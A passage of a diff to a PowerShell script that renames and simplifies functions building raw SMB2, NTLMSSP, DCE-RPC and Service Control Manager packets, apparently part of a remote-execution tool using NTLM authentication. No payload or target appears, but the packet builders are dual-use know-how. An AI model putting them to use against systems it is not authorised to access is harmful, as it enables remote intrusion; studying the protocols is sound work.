New-PacketSMB2CloseRequest { - param ([Byte[]]$packet_file_ID) + param ([Byte[]]$FileID) - $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CloseRequest.Add("FileID",$FileID) - return $packet_SMB2CloseRequest + return $SMB2CloseRequest } -function Get-PacketSMB2TreeDisconnectRequest() +function New-PacketSMB2TreeDisconnectRequest { - $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - return $packet_SMB2TreeDisconnectRequest + return $SMB2TreeDisconnectRequest } -function Get-PacketSMB2SessionLogoffRequest() +function New-PacketSMB2SessionLogoffRequest { - $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) - return $packet_SMB2SessionLogoffRequest + return $SMB2SessionLogoffRequest } #NTLM -function Get-PacketNTLMSSPNegotiate() +function New-PacketNTLMSSPNegotiate { - param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] - [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 - [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 - [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 - [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 - - $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_version) + param([Byte[]]$NegotiateFlags,[Byte[]]$Version) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] + [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 + [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 + [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 + [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 + + $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) + $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) + $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) + $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) + $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) + $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($Version) { - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + $NTLMSSPNegotiate.Add("Version",$Version) } - return $packet_NTLMSSPNegotiate + return $NTLMSSPNegotiate } -function Get-PacketNTLMSSPAuth() +function New-PacketNTLMSSPAuth { - param([Byte[]]$packet_NTLM_response) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] - [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) - $packet_ASN_length_1 = $packet_ASN_length_1[1,0] - [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) - $packet_ASN_length_2 = $packet_ASN_length_2[1,0] - [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) - $packet_ASN_length_3 = $packet_ASN_length_3[1,0] - - $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) - - return $packet_NTLMSSPAuth + param([Byte[]]$NTLMResponse) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] + [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] + [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] + [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] + + $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) + $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) + $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) + $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) + + return $NTLMSSPAuth } #RPC -function Get-PacketRPCBind() +function New-PacketRPCBind { - param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) - - [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) - - $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) - $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) - $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) - $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) - $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) - $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) - $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) - $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) - $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) - - if($packet_num_ctx_items[0] -eq 2) + param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) + + [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) + + $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $RPCBind.Add("Version",[Byte[]](0x05)) + $RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $RPCBind.Add("PacketType",[Byte[]](0x0b)) + $RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $RPCBind.Add("FragLength",$FragLength) + $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $RPCBind.Add("CallID",$call_ID) + $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $RPCBind.Add("NumCtxItems",$NumCtxItems) + $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $RPCBind.Add("ContextID",$ContextID) + $RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $RPCBind.Add("Unknown2",[Byte[]](0x00)) + $RPCBind.Add("Interface",$UUID) + $RPCBind.Add("InterfaceVer",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($NumCtxItems[0] -eq 2) { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $RPCBind.Add("Unknown3",[Byte[]](0x00)) + $RPCBind.Add("Interface2",$UUID) + $RPCBind.Add("InterfaceVer2",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) } - elseif($packet_num_ctx_items[0] -eq 3) + elseif($NumCtxItems[0] -eq 3) { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $RPCBind.Add("Unknown3",[Byte[]](0x00)) + $RPCBind.Add("Interface2",$UUID) + $RPCBind.Add("InterfaceVer2",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $RPCBind.Add("Unknown4",[Byte[]](0x00)) + $RPCBind.Add("Interface3",$UUID) + $RPCBind.Add("InterfaceVer3",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) } - if($packet_call_ID -eq 3) + if($call_ID -eq 3) { - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + $RPCBind.Add("AuthType",[Byte[]](0x0a)) + $RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } - return $packet_RPCBind + return $RPCBind } -function Get-PacketRPCRequest() +function New-PacketRPCRequest { - param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) - if($packet_auth_length -gt 0) + if($AuthLength -gt 0) { - $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + $full_auth_length = $AuthLength + $AuthPadding + 8 } - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) - [Byte[]]$packet_frag_length = $packet_write_length[0,1] - [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) - [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) - $packet_auth_length = $packet_auth_length[0,1] - - $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) - $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) - $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) - $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) - $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) - $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) - $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) - $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) - - if($packet_data.Length) + [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) + [Byte[]]$frag_length = $write_length[0,1] + [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) + [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] + + $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $RPCRequest.Add("Version",[Byte[]](0x05)) + $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $RPCRequest.Add("PacketType",[Byte[]](0x00)) + $RPCRequest.Add("PacketFlags",$Flags) + $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $RPCRequest.Add("FragLength",$frag_length) + $RPCRequest.Add("AuthLength",$auth_length) + $RPCRequest.Add("CallID",$CallID) + $RPCRequest.Add("AllocHint",$alloc_hint) + $RPCRequest.Add("ContextID",$ContextID) + $RPCRequest.Add("Opnum",$Opnum) + + if($data.Length) { - $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) + $RPCRequest.Add("Data",$Data) } - return $packet_RPCRequest + return $RPCRequest } #SCM -function Get-PacketSCMOpenSCManagerW() +function New-PacketSCMOpenSCManagerW { param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) @@ -720,99 +739,110 @@ function Get-PacketSCMOpenSCManagerW() $packet_referent_ID2 += 0x00,0x00 $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + 